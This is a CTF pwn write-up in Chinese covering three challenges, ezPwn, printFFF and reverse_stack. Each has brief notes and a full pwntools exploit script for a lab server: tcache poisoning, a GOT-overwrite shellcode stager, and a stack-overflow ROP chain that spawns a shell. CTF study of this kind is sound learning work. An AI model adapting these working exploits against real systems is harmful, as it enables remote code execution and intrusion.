ezPwn 直接利用tcache bin
在0x4180
地址处创建chunk
,并写入构造好的数据,就可以获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * context.arch='amd64' def add (size,data=b'\n' ): p.sendlineafter(b'exit' ,b'1' ) p.sendlineafter(b"size>>" ,str (size).encode()) p.sendafter("data>>" ,data)def edit (ind,data ): p.sendlineafter(b'exit' ,b'2' ) p.sendlineafter(b'index>>' ,str (ind).encode()) p.sendafter("data>>" ,data)def show (ind ): p.sendlineafter(b'exit' ,b'3' ) p.sendlineafter(b'index>>' ,str (ind).encode()) p.readuntil(b'data>>\n' )def free (ind ): p.sendlineafter(b'exit' ,b'4' ) p.sendlineafter(b'index>>' ,str (ind).encode())def exit (): p.sendlineafter(b'exit' ,b'5' )def getflag (): p.sendlineafter(b'exit' ,b'6' )def calc (data ): mark=0xfff000000000 data1=data&mark result=0 result|=data1 for i in range (3 ): data1=((data1>>12 )^data)&(mark>>12 ) result|=data1 mark=mark>>12 return result pass e=ELF("./pwn" ) p=remote('10.1.197.36' ,9999 ) p.readuntil(b'gift:\n' ) e.address=int (p.readline(),16 )-0x1a44 add(0x400 ) add(0x400 ) add(0x400 ) free(0 ) free(1 ) free(2 ) show(1 ) d=u64(p.read(8 ))print (hex (d)) d=calc(d)print (hex (d)) _4180=e.address+0x4180 edit(1 ,p64(_4180^((d+0x410 )>>12 ))) add(0x400 ) add(0x400 ) add(0x400 ) payload=p32(0xf0 )*10 edit(5 ,payload) p.sendline('6' ) p.interactive()
printFFF 题目允许写入0x15字节的shellcode,但是不够获取shell 所以利用exit
的got
表第二次写shellcode,并在第一次shellcode中设置一些环境 这样第二次shellcode就可以直接调用system("sh")
来获取shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.arch='amd64' shellcode=""" mov edi,0x404800 mov eax,0x6873 mov [rdi],rax pop rdi sub rdi,0x6D jmp rdi """ shellop=asm(shellcode)print (hex (len (shellop))) e=ELF("./pwn" ) p=remote("10.1.197.38" ,9999 ) p.send(shellop) pause() exit_=e.got['exit' ] p.send(p64(0x405000 )+p64(exit_)+p64(4 )) p.interactive() shellcode=""" mov edi,0x404800 mov rax,[0x404030] sub rax,0xc3a60 jmp rax """ shellop=asm(shellcode)print (hex (len (shellop))) p.send(shellop) pause() exit_=e.got['exit' ] p.send(p64(0x405000 )+p64(exit_)+p64(4 )) pause() p.interactive()
reverse_stack 在程序扩展栈空间的时候存在整数溢出,让下一个函数的栈在当前函数的前面,就可以实现修改程序流 通过修改程序流让程序第二次使用mmap创建第二个栈 这两个栈是连续的,这样在第一次调用函数时写入的栈地址就在程序栈的中间,就可以获取栈中的数据,比如libc_start_main的地址 之后就可以构造rop链获取shell 这个方法不是很美观,看网上还有一种方法是打exit_hook的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import *def l (size ): p.sendafter('long?\n' ,p64(size&(0xffffffffffffffff )))def d (data ): p.sendafter('buf\n' ,data)def pill (n ): if n: p.sendafter('pill?\n' ,b'red' .ljust(8 ,b'\x00' )) else : p.sendafter('pill?\n' ,b'blue' .ljust(8 ,b'\x00' )) p=remote("10.1.197.37" ,9999 ) e=ELF("./pwn" ) l(0x40 ) d('asdfadsf' ) pill(1 ) l(0x400 ) d(b'\x87' ) pill(0 ) l(0x58 ) d('asdfasdf' ) p.read(0x40 ) d_=u64(p.read(8 )) d_=u64(p.read(8 ))print (hex (d_)) e.address=d_-0x1233 d_=u64(p.read(8 ))print (hex (d_)) stack=d_&(-0x1000 ) pill(1 )for i in range (10 ): l(0x400 ) d('asdfadsf' ) pill(1 ) l(-0x400 ) pill(1 ) l(0x500 ) payload=b'a' *0x3c8 +p64(e.address+0x1050 )+p64(stack+0x5000 ) d(payload) p.readuntil('pill?\n' ) p.send(b'blue' .ljust(8 ,b'\x00' ))for i in range (0x102 ): l(0x1f0 ) d('asd' ) pill(1 ) l(-0x400 ) pill(1 ) l(0x500 ) payload=b'a' *0x3c8 +p64(e.address+0x11CE )+p64(stack-0x78 ) d(payload) p.readuntil('pill?\n' ) p.send(b'blue' .ljust(8 ,b'\x00' )) p.read(0x70 ) d_=u64(p.read(8 ))print (hex (d_)) real_stack=d_ pill(1 ) l(-0x400 ) pill(1 ) l(0x1f0 ) d('rotwill' ) pill(1 ) l(0x500 ) payload=b'a' *(0x3c8 -33 *0x10 )+p64(e.address+0x11ce )+p64(real_stack-0x4d0 -8 ) d(payload) p.readuntil('pill?\n' ) p.send(b'blue' .ljust(8 ,b'\x00' )) p.read(0x4d0 ) d_=u64(p.read(8 ))print (hex (d_)) pause() pill(1 ) libc=ELF("./libc.so.6" ) libc.address=d_-0x29d90 gadget=libc.address+0xebc81 l(-0x400 ) pill(1 ) l(0x500 ) system=libc.sym['system' ] rdi=0x000000000002a3e5 +libc.address bin_sh=next (libc.search(b'/bin/sh\x00' )) ret=rdi+1 payload=b'a' *(0x3c8 )+p64(ret)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(stack+0x18000 ) d(payload) p.readuntil('pill?\n' ) p.send(b'' .ljust(8 ,b'\x00' )) p.interactive()